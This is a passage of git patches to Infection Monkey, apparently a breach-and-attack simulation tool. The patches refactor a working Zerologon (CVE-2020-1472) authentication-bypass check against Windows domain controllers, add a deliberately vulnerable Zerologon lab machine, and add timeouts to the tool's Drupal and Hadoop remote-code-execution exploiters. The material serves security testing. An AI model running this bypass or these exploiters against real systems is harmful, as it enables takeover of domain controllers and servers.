             LOG.info('Performing Zerologon authentication attempts...')
             rpc_con = None
             for _ in range(0, self.MAX_ATTEMPTS):
-                rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
-                if (rpc_con is not None) or (unexpected_error_encountered):
+                try:
+                    rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
+                    if rpc_con is not None:
+                        break
+                except Exception as ex:
+                    LOG.info(ex)
                     break
 
             self.init_service(host.services, self._SCANNED_SERVICE, '')

From 8b0dd91c18951724e6ec64a07ca517182e57b424 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Sun, 1 Nov 2020 18:19:14 +0530
Subject: [PATCH 20/30] Better way to get NetBIOS name

---
 .../network/windowsserver_fingerprint.py            | 13 +++++--------
 monkey/infection_monkey/requirements.txt            |  1 +
 2 files changed, 6 insertions(+), 8 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index 73e5d7bdc..a19d54ff4 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -5,6 +5,7 @@ Implementation from https://github.com/SecuraBV/CVE-2020-1472
 import logging
 import subprocess
 
+import nmb.NetBIOS
 from impacket.dcerpc.v5 import epm, nrpc, transport
 
 import infection_monkey.config
@@ -25,15 +26,11 @@ class WindowsServerFinger(HostFinger):
         """
         name = ''
         try:
-            if is_windows_os():
-                cmd = f'nbtstat -A {DC_IP} | findstr "<00>"'
-                name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip(' ').split(' ')[0]
-            else:
-                cmd = f'nmblookup -A {DC_IP} | grep "<00>"'
-                name = subprocess.check_output(cmd, shell=True).decode().split('\n')[0].strip('\t').strip(' ').split(' ')[0]
+            nb = nmb.NetBIOS.NetBIOS()
+            name = nb.queryIPForName(ip=DC_IP)  # returns either a list of NetBIOS names or None
+            return name[0] if name else None
         except BaseException as ex:
-            LOG.info(f'Exception: {ex} Most likely not a Windows Domain Controller.')
-        return name
+            LOG.info(f'Exception: {ex}')
 
     def get_host_fingerprint(self, host):
         """
diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt
index c9633b555..0a1dbd282 100644
--- a/monkey/infection_monkey/requirements.txt
+++ b/monkey/infection_monkey/requirements.txt
@@ -12,5 +12,6 @@ pycryptodome==3.9.8
 pyftpdlib==1.5.6
 pymssql<3.0
 pypykatz==0.3.12
+pysmb==1.2.5
 requests>=2.24
 wmi==1.5.1 ; sys_platform == 'win32'

From a0dd69ee59b10aca0b5caed0ddae95ae9f3c0287 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Nov 2020 17:44:08 +0200
Subject: [PATCH 21/30] Fixed list style so that link and description is on the
 same line

---
 docs/content/usage/configuration/_index.md | 2 +-
 docs/content/usage/integrations/_index.md  | 2 +-
 docs/content/usage/use-cases/_index.md     | 2 +-
 docs/themes/learn                          | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/docs/content/usage/configuration/_index.md b/docs/content/usage/configuration/_index.md
index f10d81ce1..0a3558805 100644
--- a/docs/content/usage/configuration/_index.md
+++ b/docs/content/usage/configuration/_index.md
@@ -17,4 +17,4 @@ This section of the documentation is incomplete and under active construction.
 
 See these documentation pages for information on each configuration value:
 
-{{% children description=true %}}
+{{% children description=true style="p"%}}
diff --git a/docs/content/usage/integrations/_index.md b/docs/content/usage/integrations/_index.md
index a7e2157f6..6f7dd52b1 100644
--- a/docs/content/usage/integrations/_index.md
+++ b/docs/content/usage/integrations/_index.md
@@ -11,4 +11,4 @@ pre: "<i class='fas fa-directions'></i> "
 
 The Monkey likes working together. See these documentation pages for information on each integration the Monkey currently offers:
 
-{{% children description=true %}}
+{{% children description=true style="p"%}}
diff --git a/docs/content/usage/use-cases/_index.md b/docs/content/usage/use-cases/_index.md
index 389d5328a..836646100 100644
--- a/docs/content/usage/use-cases/_index.md
+++ b/docs/content/usage/use-cases/_index.md
@@ -18,4 +18,4 @@ No worries! The Monkey uses safe exploiters and does not cause any permanent sys
 
 ## Section contents
 
-{{% children description=True %}}
+{{% children description=True style="p"%}}
diff --git a/docs/themes/learn b/docs/themes/learn
index 4fdb70e36..045d78bc9 160000
--- a/docs/themes/learn
+++ b/docs/themes/learn
@@ -1 +1 @@
-Subproject commit 4fdb70e3639143076ce2cd7d5a69cc1df8e78caf
+Subproject commit 045d78bc98540c9b96518df73c05fdb9d16507ba

From 62a1520c5082be0d99f09287a6ec8e90109e0721 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Tue, 3 Nov 2020 16:42:33 +0530
Subject: [PATCH 22/30] Extract nested function

---
 .../network/windowsserver_fingerprint.py      | 104 +++++++++---------
 1 file changed, 52 insertions(+), 52 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index a19d54ff4..f418fd4bc 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -20,62 +20,11 @@ class WindowsServerFinger(HostFinger):
     MAX_ATTEMPTS = 2000
     _SCANNED_SERVICE = "NTLM (NT LAN Manager)"
 
-    def get_dc_name(self, DC_IP):
-        """
-        Gets NetBIOS name of the Domain Controller (DC).
-        """
-        name = ''
-        try:
-            nb = nmb.NetBIOS.NetBIOS()
-            name = nb.queryIPForName(ip=DC_IP)  # returns either a list of NetBIOS names or None
-            return name[0] if name else None
-        except BaseException as ex:
-            LOG.info(f'Exception: {ex}')
-
     def get_host_fingerprint(self, host):
         """
         Checks if the Windows Server is vulnerable to Zerologon.
         """
 
-        def try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME):
-            # Connect to the DC's Netlogon service.
-            binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
-                                   protocol='ncacn_ip_tcp')
-            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
-            rpc_con.connect()
-            rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
-
-            # Use an all-zero challenge and credential.
-            plaintext = b'\x00' * 8
-            ciphertext = b'\x00' * 8
-
-            # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
-            flags = 0x212fffff
-
-            # Send challenge and authentication request.
-            nrpc.hNetrServerReqChallenge(
-                rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
-
-            try:
-                server_auth = nrpc.hNetrServerAuthenticate3(
-                    rpc_con, DC_HANDLE + '\x00', DC_NAME +
-                    '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
-                    DC_NAME + '\x00', ciphertext, flags
-                )
-
-                # It worked!
-                assert server_auth['ErrorCode'] == 0
-                return rpc_con
-
-            except nrpc.DCERPCSessionError as ex:
-                if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
-                    pass
-                else:
-                    raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
-
-            except BaseException as ex:
-                raise Exception(f'Unexpected error: {ex}.')
-
         DC_IP = host.ip_addr
         DC_NAME = self.get_dc_name(DC_IP)
         DC_HANDLE = '\\\\' + DC_NAME
@@ -88,7 +37,7 @@ class WindowsServerFinger(HostFinger):
             rpc_con = None
             for _ in range(0, self.MAX_ATTEMPTS):
                 try:
-                    rpc_con = try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
+                    rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
                     if rpc_con is not None:
                         break
                 except Exception as ex:
@@ -109,3 +58,54 @@ class WindowsServerFinger(HostFinger):
         else:
             LOG.info('Error encountered; most likely not a Windows Domain Controller.')
             return False
+
+    def get_dc_name(self, DC_IP):
+        """
+        Gets NetBIOS name of the Domain Controller (DC).
+        """
+
+        try:
+            nb = nmb.NetBIOS.NetBIOS()
+            name = nb.queryIPForName(ip=DC_IP)  # returns either a list of NetBIOS names or None
+            return name[0] if name else None
+        except BaseException as ex:
+            LOG.info(f'Exception: {ex}')
+
+    def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
+        # Connect to the DC's Netlogon service.
+        binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
+                               protocol='ncacn_ip_tcp')
+        rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+        rpc_con.connect()
+        rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
+
+        # Use an all-zero challenge and credential.
+        plaintext = b'\x00' * 8
+        ciphertext = b'\x00' * 8
+
+        # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
+        flags = 0x212fffff
+
+        # Send challenge and authentication request.
+        nrpc.hNetrServerReqChallenge(
+            rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
+
+        try:
+            server_auth = nrpc.hNetrServerAuthenticate3(
+                rpc_con, DC_HANDLE + '\x00', DC_NAME +
+                '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
+                DC_NAME + '\x00', ciphertext, flags
+            )
+
+            # It worked!
+            assert server_auth['ErrorCode'] == 0
+            return rpc_con
+
+        except nrpc.DCERPCSessionError as ex:
+            if ex.get_error_code() == 0xc0000022:  # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
+                pass
+            else:
+                raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
+
+        except BaseException as ex:
+            raise Exception(f'Unexpected error: {ex}.')

From d8ee740750cba3eecdf9607b56c0a40ef2491a2c Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Nov 2020 16:11:51 +0200
Subject: [PATCH 23/30] Added zero logon to monkeyzoo

---
 envs/monkey_zoo/docs/fullDocs.md        | 20 ++++++++++++++++++++
 envs/monkey_zoo/terraform/images.tf     |  4 ++++
 envs/monkey_zoo/terraform/monkey_zoo.tf | 15 +++++++++++++++
 3 files changed, 39 insertions(+)

diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index e788bb36c..92b8652e0 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -1098,6 +1098,26 @@ fullTest.conf is a good config to start, because it covers all machines.
 </tbody>
 </table>
 
+<table>
+<thead>
+<tr class="header">
+<th><p>Nr. <strong>25</strong> ZeroLogon</p>
+<p>(10.2.2.25)</p></th>
+<th>(Vulnerable)</th>
+</tr>
+</thead>
+<tbody>
+<tr class="odd">
+<td>OS:</td>
+<td><strong>Server 2016</strong></td>
+</tr>
+<tr class="even">
+<td>Default server’s port:</td>
+<td>135</td>
+</tr>
+</tbody>
+</table>
+
 <table>
 <thead>
 <tr class="header">
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 4c01ff4d2..a402842b8 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -85,6 +85,10 @@ data "google_compute_image" "struts2-24" {
   name = "struts2-24"
   project = local.monkeyzoo_project
 }
+data "google_compute_image" "zerologon-25" {
+  name = "zerologon-25"
+  project = local.monkeyzoo_project
+}
 data "google_compute_image" "island-linux-250" {
   name = "island-linux-250"
   project = local.monkeyzoo_project
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index bb7c4d72d..6c3a49b2e 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -432,6 +432,21 @@ resource "google_compute_instance_from_template" "struts2-24" {
   }
 }
 
+resource "google_compute_instance_from_template" "zerologon-25" {
+  name = "${local.resource_prefix}zerologon-25"
+  source_instance_template = local.default_windows
+  boot_disk{
+    initialize_params {
+      image = data.google_compute_image.zerologon-25.self_link
+    }
+    auto_delete = true
+  }
+  network_interface {
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
+    network_ip="10.2.2.25"
+  }
+}
+
 resource "google_compute_instance_from_template" "island-linux-250" {
   name = "${local.resource_prefix}island-linux-250"
   machine_type         = "n1-standard-2"

From f44e080b1cf0b97dc4d9b4acf052fef73ca06bd2 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Thu, 5 Nov 2020 23:26:18 +0530
Subject: [PATCH 24/30] Only generate 'DC_HANDLE' if 'DC_NAME' exists

---
 monkey/infection_monkey/network/windowsserver_fingerprint.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index f418fd4bc..a4912d4fb 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -27,12 +27,13 @@ class WindowsServerFinger(HostFinger):
 
         DC_IP = host.ip_addr
         DC_NAME = self.get_dc_name(DC_IP)
-        DC_HANDLE = '\\\\' + DC_NAME
 
         if DC_NAME:  # if it is a Windows DC
             # Keep authenticating until successful.
             # Expected average number of attempts needed: 256.
             # Approximate time taken by 2000 attempts: 40 seconds.
+            DC_HANDLE = '\\\\' + DC_NAME
+
             LOG.info('Performing Zerologon authentication attempts...')
             rpc_con = None
             for _ in range(0, self.MAX_ATTEMPTS):

From f76fc7ad778fba8195e0f51d07da4ec5059b7a75 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 11 Nov 2020 15:30:52 +0200
Subject: [PATCH 25/30] Removed unused imports in windowsserver_fingerprint.py

---
 monkey/infection_monkey/network/windowsserver_fingerprint.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/monkey/infection_monkey/network/windowsserver_fingerprint.py b/monkey/infection_monkey/network/windowsserver_fingerprint.py
index a4912d4fb..3bb1a8450 100644
--- a/monkey/infection_monkey/network/windowsserver_fingerprint.py
+++ b/monkey/infection_monkey/network/windowsserver_fingerprint.py
@@ -3,14 +3,11 @@ Implementation from https://github.com/SecuraBV/CVE-2020-1472
 """
 
 import logging
-import subprocess
 
 import nmb.NetBIOS
 from impacket.dcerpc.v5 import epm, nrpc, transport
 
-import infection_monkey.config
 from infection_monkey.network.HostFinger import HostFinger
-from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 

From 18d72f89dad8f07510e1e54f670b1f24584a7145 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 11 Nov 2020 15:31:48 +0200
Subject: [PATCH 26/30] Added timeouts to requests

---
 monkey/common/cloud/azure/azure_instance.py  |  5 ++-
 monkey/common/cloud/gcp/gcp_instance.py      |  3 +-
 monkey/common/common_consts/timeouts.py      |  3 ++
 monkey/infection_monkey/control.py           | 33 +++++++++++++-------
 monkey/infection_monkey/exploit/drupal.py    | 11 +++++--
 monkey/infection_monkey/exploit/hadoop.py    |  9 ++++--
 monkey/infection_monkey/transport/http.py    |  4 ++-
 monkey/monkey_island/cc/bootloader_server.py |  6 +++-
 8 files changed, 53 insertions(+), 21 deletions(-)
 create mode 100644 monkey/common/common_consts/timeouts.py

diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py
index eb702a03d..af6c85460 100644
--- a/monkey/common/cloud/azure/azure_instance.py
+++ b/monkey/common/cloud/azure/azure_instance.py
@@ -4,6 +4,7 @@ import requests
 
 from common.cloud.environment_names import Environment
 from common.cloud.instance import CloudInstance
+from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
 
 LATEST_AZURE_METADATA_API_VERSION = "2019-04-30"
 AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION
@@ -32,7 +33,9 @@ class AzureInstance(CloudInstance):
         self.on_azure = False
 
         try:
-            response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"})
+            response = requests.get(AZURE_METADATA_SERVICE_URL,
+                                    headers={"Metadata": "true"},
+                                    timeout=SHORT_REQUEST_TIMEOUT)
             self.on_azure = True
 
             # If not on cloud, the metadata URL is non-routable and the connection will fail.
diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py
index 54f7e6d24..d81fd2186 100644
--- a/monkey/common/cloud/gcp/gcp_instance.py
+++ b/monkey/common/cloud/gcp/gcp_instance.py
@@ -4,6 +4,7 @@ import requests
 
 from common.cloud.environment_names import Environment
 from common.cloud.instance import CloudInstance
+from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
 
 logger = logging.getLogger(__name__)
 
@@ -26,7 +27,7 @@ class GcpInstance(CloudInstance):
 
         try:
             # If not on GCP, this domain shouldn't resolve.
-            response = requests.get(GCP_METADATA_SERVICE_URL)
+            response = requests.get(GCP_METADATA_SERVICE_URL, timeout=SHORT_REQUEST_TIMEOUT)
 
             if response:
                 logger.debug("Got ok metadata response: on GCP")
diff --git a/monkey/common/common_consts/timeouts.py b/monkey/common/common_consts/timeouts.py
new file mode 100644
index 000000000..f315e7518
--- /dev/null
+++ b/monkey/common/common_consts/timeouts.py
@@ -0,0 +1,3 @@
+SHORT_REQUEST_TIMEOUT = 2.5  # Seconds. Use where we expect timeout.
+MEDIUM_REQUEST_TIMEOUT = 5  # Seconds. Use where we don't expect timeout.
+LONG_REQUEST_TIMEOUT = 15  # Seconds. Use where we don't expect timeout and operate heavy data.
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 35922286f..c4a4643d7 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -9,6 +9,7 @@ from requests.exceptions import ConnectionError
 
 import infection_monkey.monkeyfs as monkeyfs
 import infection_monkey.tunnel as tunnel
+from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, LONG_REQUEST_TIMEOUT, SHORT_REQUEST_TIMEOUT
 from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
 from infection_monkey.config import GUID, WormConfiguration
 from infection_monkey.network.info import check_internet_access, local_ips
@@ -121,7 +122,8 @@ class ControlClient(object):
                            data=json.dumps(monkey),
                            headers={'content-type': 'application/json'},
                            verify=False,
-                           proxies=ControlClient.proxies)
+                           proxies=ControlClient.proxies,
+                           timeout=MEDIUM_REQUEST_TIMEOUT)
         except Exception as exc:
             LOG.warning("Error connecting to control server %s: %s",
                         WormConfiguration.current_server, exc)
@@ -138,7 +140,8 @@ class ControlClient(object):
                           data=json.dumps(telemetry),
                           headers={'content-type': 'application/json'},
                           verify=False,
-                          proxies=ControlClient.proxies)
+                          proxies=ControlClient.proxies,
+                          timeout=MEDIUM_REQUEST_TIMEOUT)
         except Exception as exc:
             LOG.warning("Error connecting to control server %s: %s",
                         WormConfiguration.current_server, exc)
@@ -153,7 +156,8 @@ class ControlClient(object):
                           data=json.dumps(telemetry),
                           headers={'content-type': 'application/json'},
                           verify=False,
-                          proxies=ControlClient.proxies)
+                          proxies=ControlClient.proxies,
+                          timeout=MEDIUM_REQUEST_TIMEOUT)
         except Exception as exc:
             LOG.warning("Error connecting to control server %s: %s",
                         WormConfiguration.current_server, exc)
@@ -165,7 +169,8 @@ class ControlClient(object):
         try:
             reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),  # noqa: DUO123
                                  verify=False,
-                                 proxies=ControlClient.proxies)
+                                 proxies=ControlClient.proxies,
+                                 timeout=MEDIUM_REQUEST_TIMEOUT)
 
         except Exception as exc:
             LOG.warning("Error connecting to control server %s: %s",
@@ -194,7 +199,8 @@ class ControlClient(object):
                            data=json.dumps({'config_error': True}),
                            headers={'content-type': 'application/json'},
                            verify=False,
-                           proxies=ControlClient.proxies)
+                           proxies=ControlClient.proxies,
+                           timeout=MEDIUM_REQUEST_TIMEOUT)
         except Exception as exc:
             LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
             return {}
@@ -255,7 +261,8 @@ class ControlClient(object):
                 download = requests.get("https://%s/api/monkey/download/%s" %  # noqa: DUO123
                                         (WormConfiguration.current_server, filename),
                                         verify=False,
-                                        proxies=ControlClient.proxies)
+                                        proxies=ControlClient.proxies,
+                                        timeout=MEDIUM_REQUEST_TIMEOUT)
 
                 with monkeyfs.open(dest_file, 'wb') as file_obj:
                     for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
@@ -281,7 +288,8 @@ class ControlClient(object):
             reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),  # noqa: DUO123
                                   data=json.dumps(host_dict),
                                   headers={'content-type': 'application/json'},
-                                  verify=False, proxies=ControlClient.proxies)
+                                  verify=False, proxies=ControlClient.proxies,
+                                  timeout=LONG_REQUEST_TIMEOUT)
             if 200 == reply.status_code:
                 result_json = reply.json()
                 filename = result_json.get('filename')
@@ -323,7 +331,8 @@ class ControlClient(object):
             return requests.get(PBA_FILE_DOWNLOAD %  # noqa: DUO123
                                 (WormConfiguration.current_server, filename),
                                 verify=False,
-                                proxies=ControlClient.proxies)
+                                proxies=ControlClient.proxies,
+                                timeout=LONG_REQUEST_TIMEOUT)
         except requests.exceptions.RequestException:
             return False
 
@@ -334,7 +343,8 @@ class ControlClient(object):
                                         T1216_PBA_FILE_DOWNLOAD_PATH),
                                 verify=False,
                                 proxies=ControlClient.proxies,
-                                stream=True)
+                                stream=True,
+                                timeout=MEDIUM_REQUEST_TIMEOUT)
         except requests.exceptions.RequestException:
             return False
 
@@ -352,7 +362,7 @@ class ControlClient(object):
     def can_island_see_port(port):
         try:
             url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
-            response = requests.get(url, verify=False)
+            response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT)
             response = json.loads(response.content.decode())
             return response['status'] == "port_visible"
         except requests.exceptions.RequestException:
@@ -362,4 +372,5 @@ class ControlClient(object):
     def report_start_on_island():
         requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
                       data=json.dumps({'started_on_island': True}),
-                      verify=False)
+                      verify=False,
+                      timeout=MEDIUM_REQUEST_TIMEOUT)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 84919baef..69b3c218c 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -9,6 +9,7 @@ from urllib.parse import urljoin
 
 import requests
 
+from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, LONG_REQUEST_TIMEOUT
 from common.network.network_utils import remove_port
 from infection_monkey.exploit.web_rce import WebRCE
 from infection_monkey.model import ID_STRING
@@ -75,7 +76,8 @@ class DrupalExploiter(WebRCE):
         response = requests.get(f'{url}?_format=hal_json',  # noqa: DUO123
                                 json=payload,
                                 headers={"Content-Type": "application/hal+json"},
-                                verify=False)
+                                verify=False,
+                                timeout=MEDIUM_REQUEST_TIMEOUT)
 
         if is_response_cached(response):
             LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
@@ -92,7 +94,8 @@ class DrupalExploiter(WebRCE):
         r = requests.get(f'{url}?_format=hal_json',  # noqa: DUO123
                          json=payload,
                          headers={"Content-Type": "application/hal+json"},
-                         verify=False)
+                         verify=False,
+                         timeout=LONG_REQUEST_TIMEOUT)
 
         if is_response_cached(r):
             LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
@@ -136,7 +139,9 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
     articles = set()
     while lower < upper:
         node_url = urljoin(base_url, str(lower))
-        response = requests.get(node_url, verify=False)  # noqa: DUO123
+        response = requests.get(node_url,
+                                verify=False,
+                                timeout=LONG_REQUEST_TIMEOUT)  # noqa: DUO123
         if response.status_code == 200:
             if is_response_cached(response):
                 LOG.info(f'Found a cached article at: {node_url}, skipping')
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 632d968d4..eaf5d007b 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -11,6 +11,7 @@ import string
 
 import requests
 
+from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
 from infection_monkey.exploit.tools.helpers import (build_monkey_commandline,
                                                     get_monkey_depth)
 from infection_monkey.exploit.tools.http_tools import HTTPTools
@@ -59,18 +60,20 @@ class HadoopExploiter(WebRCE):
 
     def exploit(self, url, command):
         # Get the newly created application id
-        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
+                             timeout=LONG_REQUEST_TIMEOUT)
         resp = json.loads(resp.content)
         app_id = resp['application-id']
         # Create a random name for our application in YARN
         rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)])
         payload = self.build_payload(app_id, rand_name, command)
-        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
+        resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT)
         return resp.status_code == 202
 
     def check_if_exploitable(self, url):
         try:
-            resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
+            resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"),
+                                 timeout=LONG_REQUEST_TIMEOUT)
         except requests.ConnectionError:
             return False
         return resp.status_code == 200
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 5f26f4f68..57dd2450e 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -11,6 +11,7 @@ import requests
 
 import infection_monkey.control
 import infection_monkey.monkeyfs as monkeyfs
+from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
 from infection_monkey.network.tools import get_interface_to_target
 from infection_monkey.transport.base import (TransportProxyBase,
                                              update_last_serve_time)
@@ -123,7 +124,8 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
                 r = requests.post(url=dest_path,
                                   data=post_data,
                                   verify=False,
-                                  proxies=infection_monkey.control.ControlClient.proxies)
+                                  proxies=infection_monkey.control.ControlClient.proxies,
+                                  timeout=SHORT_REQUEST_TIMEOUT)
                 self.send_response(r.status_code)
             except requests.exceptions.ConnectionError as e:
                 LOG.error("Couldn't forward request to the island: {}".format(e))
diff --git a/monkey/monkey_island/cc/bootloader_server.py b/monkey/monkey_island/cc/bootloader_server.py
index 6301d7c18..fbbd32815 100644
--- a/monkey/monkey_island/cc/bootloader_server.py
+++ b/monkey/monkey_island/cc/bootloader_server.py
@@ -7,6 +7,7 @@ import pymongo
 import requests
 import urllib3
 
+from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
 from monkey_island.cc.environment import Environment
 
 # Disable "unverified certificate" warnings when sending requests to island
@@ -32,7 +33,10 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
         # The island server doesn't always have a correct SSL cert installed
         # (By default it comes with a self signed one),
         # that's why we're not verifying the cert in this request.
-        r = requests.post(url=island_server_path, data=post_data, verify=False)  # noqa: DUO123
+        r = requests.post(url=island_server_path,
+                          data=post_data,
+                          verify=False,
+                          timeout=SHORT_REQUEST_TIMEOUT)  # noqa: DUO123
 
         try:
             if r.status_code != 200:

From 4707fba744726e0026f446610ee14622018fd738 Mon Sep 17 00:00:00 2001
From: VakarisZ <36815064+VakarisZ@users.noreply.github.com>
Date: Thu, 12 Nov 2020 09:08:28 +0200
Subject: [PATCH 27/30] Update PULL_REQUEST_TEMPLATE.md

---
 .github/PULL_REQUEST_TEMPLATE.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index e0add3178..d5b8193ff 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -7,6 +7,7 @@ Add any further explanations here.
 ## PR Checklist
 * [ ] Have you added an explanation of what your changes do and why you'd like to include them?
 * [ ] Is the TravisCI build passing? 
+* [ ] Was the documentation framework updated to reflect the changes?
 
 ## Testing Checklist
 

From 47984196ce3bd0d270e7da3818aa1b49b70790ab Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Thu, 12 Nov 2020 11:57:54 +0200
Subject: [PATCH 28/30] Fixed import order to satisfy isort

---
 monkey/infection_monkey/control.py        | 4 +++-
 monkey/infection_monkey/exploit/drupal.py | 3 ++-
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index c4a4643d7..9b0443791 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -9,7 +9,9 @@ from requests.exceptions import ConnectionError
 
 import infection_monkey.monkeyfs as monkeyfs
 import infection_monkey.tunnel as tunnel
-from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, LONG_REQUEST_TIMEOUT, SHORT_REQUEST_TIMEOUT
+from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
+                                           MEDIUM_REQUEST_TIMEOUT,
+                                           SHORT_REQUEST_TIMEOUT)
 from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
